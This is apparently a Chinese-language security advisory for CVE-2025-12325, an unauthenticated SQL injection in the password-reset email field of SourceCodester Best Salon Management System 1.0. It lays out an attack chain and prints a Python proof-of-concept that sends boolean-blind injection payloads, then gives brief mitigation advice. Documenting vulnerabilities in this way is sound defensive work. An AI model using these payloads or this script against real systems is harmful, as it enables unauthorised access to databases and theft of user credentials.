CVE-2025-12325 SourceCodester Best Salon Management System 1.0 SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-12325

漏洞类型

SQL注入

CVSS评分

7.3 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

SourceCodester Best Salon Management System 1.0

漏洞概述

CVE-2025-12325是SourceCodester Best Salon Management System 1.0中存在的一个高危SQL注入漏洞。该漏洞位于登录前的密码重置功能模块，具体涉及/panel/forgot-password.php文件中的email参数。由于应用程序对用户输入的email参数缺乏充分的过滤和SQL语句预处理，攻击者可以通过构造恶意的SQLpayload来实现未授权的数据库操作。该漏洞具有远程利用特性，无需任何认证即可发起攻击，CVSS评分达到7.3，属于高危级别。攻击者成功利用此漏洞后，可能导致敏感用户数据泄露、数据库内容被篡改，甚至在特定条件下可能进一步实现服务器远程代码执行，对系统安全性造成严重威胁。

技术细节

该漏洞属于经典的SQL注入漏洞类型，存在于密码重置功能的email参数处理逻辑中。当用户提交密码重置请求时，应用程序直接将用户输入的email参数拼接到SQL查询语句中，而未进行任何过滤、转义或使用参数化查询。具体来说，攻击者可以通过在email字段中注入SQL语句，如使用UNION SELECT、布尔盲注或时间盲注等技术，从数据库中提取敏感信息。由于该功能位于登录前，无需任何认证即可访问，大大降低了攻击门槛。攻击者可利用此漏洞获取管理员账户凭证、用户个人信息、业务数据等敏感内容。

攻击链分析

STEP 1

步骤1

识别目标系统：攻击者首先确认目标网站使用SourceCodester Best Salon Management System 1.0

STEP 2

步骤2

访问漏洞端点：访问密码重置页面/panel/forgot-password.php

STEP 3

步骤3

构造恶意payload：在email参数中注入SQL注入payload

STEP 4

步骤4

发送攻击请求：向目标服务器发送包含恶意payload的POST请求

STEP 5

步骤5

获取敏感数据：通过UNION注入或盲注技术从数据库中提取用户凭证和个人信息

STEP 6

步骤6

横向移动：利用获取的管理员账号登录后台系统，进一步控制整个应用

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-12325 SQL Injection PoC
# Target: SourceCodester Best Salon Management System 1.0
# Endpoint: /panel/forgot-password.php
# Parameter: email

def exploit_sqli(target_url, payload):
    """Send SQL injection payload to email parameter"""
    endpoint = f"{target_url.rstrip('/')}/panel/forgot-password.php"
    
    # Prepare the payload
    data = {
        'email': payload,
        'submit': 'Submit'
    }
    
    try:
        response = requests.post(endpoint, data=data, timeout=10)
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return None

def blind_boolean_sqli(target_url):
    """Extract database version using boolean-based blind SQL injection"""
    print("[*] Starting blind boolean-based SQL injection...")
    
    # Test payload - extract database version
    # True condition
    true_payload = "' OR (SELECT COUNT(*) FROM users) > 0 -- "
    # False condition
    false_payload = "' OR (SELECT COUNT(*) FROM users) < 0 -- "
    
    print("[*] Testing true condition...")
    exploit_sqli(target_url, true_payload)
    
    print("[*] Testing false condition...")
    exploit_sqli(target_url, false_payload)
    
    print("[*] SQL injection test completed")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_url>")
        print(f"Example: python {sys.argv[0]} http://target.com")
        sys.exit(1)
    
    target = sys.argv[1]
    blind_boolean_sqli(target)

影响范围

SourceCodester Best Salon Management System 1.0

防御指南

临时缓解措施

在修复前，可通过部署Web应用防火墙（WAF）规则对/panel/forgot-password.php端点进行监控和过滤，阻止包含SQL注入特征的请求。同时临时禁用密码重置功能或限制访问来源IP，待官方发布补丁后再进行修复。